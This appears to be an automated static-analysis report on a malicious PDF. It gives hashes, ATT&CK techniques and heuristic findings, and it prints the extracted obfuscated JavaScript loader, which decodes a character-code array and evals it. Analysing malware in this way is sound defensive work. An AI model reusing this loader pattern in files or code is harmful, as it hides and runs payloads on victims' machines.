Malicious PDF — malware analysis report

Static analysis result for SHA-256 196609e381f23988…

MALICIOUS

PDF

44.7 KB First seen: 2013-06-30
MD5: 4d503ecb66b4b97f1b0dbd59f69aad79 SHA-1: 5b52a45d4128cbd3c6280aa7d0bad274806a4524 SHA-256: 196609e381f23988b55ce90c329f972eed0e7192360f555146d8c2e3237160af
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by multiple heuristics as a loader. This script reconstructs a URL from concatenated string fragments and likely downloads a second-stage payload. The ML classifier strongly indicates maliciousness. The primary technique observed is the use of JavaScript to execute malicious code, likely delivered as a spearphishing attachment.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB043 453 bytes
SHA-256: 384cc5c402a0f20335ff8332e157ef210784a7c0e3184b6b6ab0b57243de3342
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
jccy='';
rzh=('qwrwqr','tit');
e('cwab=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
slntv=e('String.fr'+cwab.substr(0,10));
hebfb = e(cwab.substr(10)['replace'](/u/g,','));
e('k=hebfb.length');
for (i = 0; i < k; i+=2) {
	ratjf = hebfb[i+1] + ('erybjkerl',hebfb[i]);
	jccy += slntv(ratjf);
}
e(jccy);

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